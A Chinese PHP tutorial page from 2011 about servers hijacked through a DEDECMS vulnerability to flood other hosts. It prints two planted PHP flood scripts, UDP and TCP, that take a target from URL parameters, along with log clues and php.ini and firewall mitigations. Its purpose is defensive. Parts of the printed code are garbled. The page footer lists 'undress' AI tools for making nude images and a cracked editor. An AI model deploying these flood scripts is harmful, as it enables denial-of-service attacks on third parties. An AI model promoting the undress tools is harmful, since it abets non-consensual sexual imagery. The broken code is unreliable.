search
HomeBackend DevelopmentPHP Tutorialphp对外发包引发服务器崩溃的终极解决办法分享

php对外发包引发服务器崩溃的终极解决方法分享

php对外发包引发服务器崩溃的终极解决方法分享
2011年12月28日
  总结DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助客户解决服务器问题,让网站运行的更好
  一、php对外发包分析
  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
  以下是代码片段:
  $packets = 0;
  $ip = $_GET[\'ip\'];
  $rand = $_GET[\'port\'];
  set_time_limit(0);
  ignore_user_abort(FALSE);
  $exec_time = $_GET[\'time\'];
  $time = time();
  print \'Flooded: $ip on port $rand
  \';
  $max_time = $time+$exec_time;
  for($i=0;$i $max_time){
  break;
  }
  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
  if($fp){
  fwrite($fp, $out);
  fclose($fp);
  }
  }
  echo \'Packet complete at \'.time(\'h:i:s\').\' with
  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
  round($packets/$exec_time, 2) . \' packets/s \\n\';
  ?>
  二、表现特征
  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
  如何快速找到这些站?
  你可以打开日志
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
  里面有类似这样的记录:
  2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
  最后三项 783 Disabled 30_FreeHost_1
  783就是这个站在IIS中的ID
  30_FreeHost_1就是所在池
  三、解决办法
  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
  2.在IP策略,或防火墙中,禁止所有udp向外发送
  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 '特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了 )
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
  ignore_user_abort = On
  (注意前面的;号要删除)
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
  在后面加上
  fsockopen,set_time_limit
  但这样会造成很多php程序都不正常.
  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
  近期已有新的基于TCP攻击的PHPDDOS代码如下:
  以下是代码片段:
  set_time_limit(999999);
  $host = $_GET['host'];
  $port = $_GET['port'];
  $exec_time = $_GET['time'];
  $packets = 64;
  ignore_user_abort(True);
  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
  if (StrLen($_GET['rat'])0){
  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  exit;
  }
  exit;
  }
  $max_time = time()+$exec_time;
  while(1){
  $packets++;
  if(time() > $max_time or $exec_time != 69){
  break;
  }
  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
  }
  ?>
  同样,可以采有以下解决办法:
  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
  ignore_user_abort = On
  (注意前面的;号要删除)
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
  在后面加上
  fsockopen,set_time_limit
  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。
  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它。

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
PHP Email: Step-by-Step Sending GuidePHP Email: Step-by-Step Sending GuideMay 09, 2025 am 12:14 AM

PHPisusedforsendingemailsduetoitsintegrationwithservermailservicesandexternalSMTPproviders,automatingnotificationsandmarketingcampaigns.1)SetupyourPHPenvironmentwithawebserverandPHP,ensuringthemailfunctionisenabled.2)UseabasicscriptwithPHP'smailfunct

How to Send Email via PHP: Examples & CodeHow to Send Email via PHP: Examples & CodeMay 09, 2025 am 12:13 AM

The best way to send emails is to use the PHPMailer library. 1) Using the mail() function is simple but unreliable, which may cause emails to enter spam or cannot be delivered. 2) PHPMailer provides better control and reliability, and supports HTML mail, attachments and SMTP authentication. 3) Make sure SMTP settings are configured correctly and encryption (such as STARTTLS or SSL/TLS) is used to enhance security. 4) For large amounts of emails, consider using a mail queue system to optimize performance.

Advanced PHP Email: Custom Headers & FeaturesAdvanced PHP Email: Custom Headers & FeaturesMay 09, 2025 am 12:13 AM

CustomheadersandadvancedfeaturesinPHPemailenhancefunctionalityandreliability.1)Customheadersaddmetadatafortrackingandcategorization.2)HTMLemailsallowformattingandinteractivity.3)AttachmentscanbesentusinglibrarieslikePHPMailer.4)SMTPauthenticationimpr

Guide to Sending Emails with PHP & SMTPGuide to Sending Emails with PHP & SMTPMay 09, 2025 am 12:06 AM

Sending mail using PHP and SMTP can be achieved through the PHPMailer library. 1) Install and configure PHPMailer, 2) Set SMTP server details, 3) Define the email content, 4) Send emails and handle errors. Use this method to ensure the reliability and security of emails.

What is the best way to send an email using PHP?What is the best way to send an email using PHP?May 08, 2025 am 12:21 AM

ThebestapproachforsendingemailsinPHPisusingthePHPMailerlibraryduetoitsreliability,featurerichness,andeaseofuse.PHPMailersupportsSMTP,providesdetailederrorhandling,allowssendingHTMLandplaintextemails,supportsattachments,andenhancessecurity.Foroptimalu

Best Practices for Dependency Injection in PHPBest Practices for Dependency Injection in PHPMay 08, 2025 am 12:21 AM

The reason for using Dependency Injection (DI) is that it promotes loose coupling, testability, and maintainability of the code. 1) Use constructor to inject dependencies, 2) Avoid using service locators, 3) Use dependency injection containers to manage dependencies, 4) Improve testability through injecting dependencies, 5) Avoid over-injection dependencies, 6) Consider the impact of DI on performance.

PHP performance tuning tips and tricksPHP performance tuning tips and tricksMay 08, 2025 am 12:20 AM

PHPperformancetuningiscrucialbecauseitenhancesspeedandefficiency,whicharevitalforwebapplications.1)CachingwithAPCureducesdatabaseloadandimprovesresponsetimes.2)Optimizingdatabasequeriesbyselectingnecessarycolumnsandusingindexingspeedsupdataretrieval.

PHP Email Security: Best Practices for Sending EmailsPHP Email Security: Best Practices for Sending EmailsMay 08, 2025 am 12:16 AM

ThebestpracticesforsendingemailssecurelyinPHPinclude:1)UsingsecureconfigurationswithSMTPandSTARTTLSencryption,2)Validatingandsanitizinginputstopreventinjectionattacks,3)EncryptingsensitivedatawithinemailsusingOpenSSL,4)Properlyhandlingemailheaderstoa

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools